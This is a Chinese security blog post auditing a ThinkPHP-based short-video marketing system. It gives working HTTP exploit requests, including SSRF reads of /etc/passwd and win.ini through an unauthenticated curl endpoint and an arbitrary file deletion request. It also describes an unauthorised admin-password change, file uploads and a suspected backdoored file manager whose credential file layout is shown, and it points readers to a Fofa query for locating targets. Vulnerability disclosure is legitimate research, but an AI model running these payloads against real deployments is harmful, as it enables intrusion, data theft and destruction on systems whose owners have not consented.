某短视频矩阵营销系统前台RCE漏洞审计

发布于2025年4月19日2025年7月19日作者:cve-20

某短视频矩阵营销系统前台RCE漏洞审计

原创 Swimt 星悦安全 2025-04-19 05:19

点击上方
蓝字
关注我们并设为
星标

0x00 前言

Fofa语句:请见文末

搭建完之后长这样. ThinkPHP框架，需要将目录设置为Public.

这套系统洞挺多的，大家可以研究学习一下

目录结构控制器全都是简单的eval加密:

0x01 前台任意文件读取+SSRF

在 /application/admin/controller/userinfo.php 控制器中的poihuoqu方法，存在curl_exec函数，传参可控，未加鉴权，且结果直接回显，导致任意文件读取和SSRF漏洞.

/*获取POI*/
public function poihuoqu(){
    $poi =  input('post.poi');
    $url = trim($poi);
    $info = curl_init();
    curl_setopt($info,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($info,CURLOPT_HEADER,0);
    curl_setopt($info,CURLOPT_NOBODY,0);
    curl_setopt($info,CURLOPT_SSL_VERIFYPEER,false);
    curl_setopt($info,CURLOPT_SSL_VERIFYPEER,false);
    curl_setopt($info,CURLOPT_SSL_VERIFYHOST,false);
    curl_setopt($info,CURLOPT_URL,$url);
    $output = curl_exec($info);
    curl_close($info);
    //$id = stripos($output,"poi_id=");
    $on = mb_stripos($output,"poi_id=");
    $er = mb_stripos($output,"&");
    $poiid = mb_substr($output,$on+7,$er-$on-7);

    if($output){

        return json(['code'=>1,'msg'=>$poiid]);
    }else{
        return json(['code'=>-1,'msg'=>'获取失败']);
    }
}

Linux读取 Payload:

POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: 127.0.0.1
Cache-Control: max-age=0
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 22

poi=file:///etc/passwd

Windows读取 Payload:“`
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: 127.0.0.1
Cache-Control: max-age=0
Sec-Ch-Ua: “(Not(A:Brand”;v=”8″, “Chromium”;v=”101″
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: “Windows”
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 22

poi=file:///C:/Windows/win.ini


![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5dCpMEuN5SbNVN3fRz2B9IibqBZibeyibIENekibpHxwa7RrA0QFOf0HOCypJibESJnKVBhoic4oibvT6jibQ/640?wx_fmt=other&from=appmsg "")  

**Dict协议打内网Redis:**  

![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5dCpMEuN5SbNVN3fRz2B9Iibxt90zeuv7hkIm6Xcbvo1vuOPz3dPuRXLxbMl9syMbqtmNbsgjU8RlQ/640?wx_fmt=png&from=appmsg "")  
##  0x02 前台任意文件删除  

**在 /static/admin/upload_file/php/remove_file.php 中存在unlink函数，且$file参数可控，导致任意文件删除，这里不多说了.**


**Payload:**

POST /static/admin/upload_file/php/remove_file.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
Cookie: BJYSESSION=oorquahq7r9csc3can1hpcjkj3; PHPSESSID=6kqil2pldpq19cq7dt590uc54h; KOD_SESSION_SSO=ni6912a1a0d53k4rb6r6hgrhof; KOD_SESSION_ID_1bcdf=d358i7lc74rt2mrush7aao808h
Host: 127.0.0.1:81
Origin: http://127.0.0.1:81
Referer: http://127.0.0.1:81/static/admin/upload_file/php/remove_file.php
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
sec-ch-ua: “Google Chrome”;v=”123″, “Not:A-Brand”;v=”8″, “Chromium”;v=”123″
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: “Windows”
sec-fetch-user: ?1

file=aaa.txt

## 0x03 前台未授权操纵+信息泄露漏洞  

**在 /application/admin/controller/xxxx.php 控制器中的xxxx方法直接GET获取page，然后查询数据表并直接将账号密码列出，并且未加鉴权函数.**  

**Payload:**

请见文末


![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5dCpMEuN5SbNVN3fRz2B9Iibg5z2Y0wwqqVIB5srCavFratAHicRR378pg4lMMbvfOv6TWjARuxxP7A/640?wx_fmt=png&from=appmsg "")  

**在 **** 方法中，可随意操纵任意账户，更改密码等操作**  

**直接访问 /index.php/admin/****/1 即可直接越权更改管理员密码**  

![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5dCpMEuN5SbNVN3fRz2B9Iib86U0RMVo02EWbcu4Vbt6hfViaxjrrsDKmU9iaibCtPg11VQwgOEtxibStg/640?wx_fmt=png&from=appmsg "")  

![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5dCpMEuN5SbNVN3fRz2B9IibPcxVdbujoCdpIrdrXYT3AedwXhibYWxfJGicF9rGRCg2a4HlOYtMCibpg/640?wx_fmt=other&from=appmsg "")  

**控制器不加任何鉴权，随便操纵用户，这套程序真抽象......**  

**在 upload_add 方法中，还有个文件上传，但是无回显，上传文件以微秒的md5来命名，所以实际利用价值比较低，这里就不多赘述了 .**

public function upload_add(){

$file = request()->file(‘image’);
  if(!$file){
  $this -> error(‘请选择上传的图片’);
}
  $info = $file->move(ROOT_PATH . ‘public’ . DS . ‘uploads/images’);
  if($info){
  $data = array(
  ‘image’ =>$info->getSaveName(),
  ‘uid’ =>session(‘uid’),
);
  $id = input(‘post.id’);
  if(empty($id)){
  $list = Db::name(‘img’)->insert($data);
}else{
  $list = Db::name(‘img’)->where(‘id’,$id)->update($data);
}

if($list){
  $this -> success(‘上传成功’,url(‘upload’));
  // echo $info->getSaveName();
}else{
  $this -> error(‘上传失败’);
}
}else{
  echo $file->getError();
}
}

## 0x04 前台任意文件上传1  

**Payload:**

请见文末


![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5dCpMEuN5SbNVN3fRz2B9IibGPlZAEiaiazzqRMYFQHvDoL8LQuJmszW03C7XvFg8tgLm432t5o3jFWg/640?wx_fmt=png&from=appmsg "")  
## 0x05 前台任意文件上传2  

**Payload:**

请见文末


![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5dCpMEuN5SbNVN3fRz2B9Iibt2lj3v4ea6Ux873h8h6ftEDS8FaJAJ67Q3asEK4KsuoUBAMDDYaUAQ/640?wx_fmt=png&from=appmsg "")  
## 0x06 前台任意文件上传3  

**Payload:**

请见文末


![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5dCpMEuN5SbNVN3fRz2B9IibXwJSymt9RLm2msIlictuEXdYfy09OqicpnkeYftYYWyG7HtibgBKbc13g/640?wx_fmt=png&from=appmsg "")  

## 0x07 某道云后门  

**访问 /static/******/index.php 直接能访问到可道云，版本为4.48，99%是开发者或者资源网的后门********......**  

![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5dCpMEuN5SbNVN3fRz2B9IibbxlXGIX6JzllatEFx47Vg7SreZZeAxZTOWUYwrMk0TRIoINUvcgWpg/640?wx_fmt=png&from=appmsg "")  

**账号密码存在 /static/******/system_member.php 中**

{
  “1”: {
  “name”: “admin”,
  “path”: “admin”,
  “password”: “请见文末”,
  “userID”: “1”,
  “role”: “1”,
  “config”: {
  “sizeMax”: “0”,
  “sizeUse”: 1024
},
  “groupInfo”: {
  “1”: “write”
},
  “createTime”: 1653827726,
  “status”: 1,
  “lastLogin”: 1655653441
},
  “100”: {
  “userID”: “100”,
  “name”: “demo”,
  “password”: “请见文末”,
  “role”: “2”,
  “config”: {
  “sizeMax”: 5,
  “sizeUse”: 1048576
},
  “groupInfo”: {
  “1”: “write”
},
  “path”: “demo”,
  “status”: 1,
  “lastLogin”: 1711702666,
  “createTime”: 1653827726
},
  “101”: {
  “userID”: “101”,
  “name”: “guest”,
  “password”: “请见文末”,
  “role”: “100”,
  “config”: {
  “sizeMax”: 0.1,
  “sizeUse”: 1048576
},
  “groupInfo”: {
  “1”: “read”
},
  “path”: “guest”,
  “status”: 1,
  “lastLogin”: “”,
  “createTime”: 1653827726
}
}
“`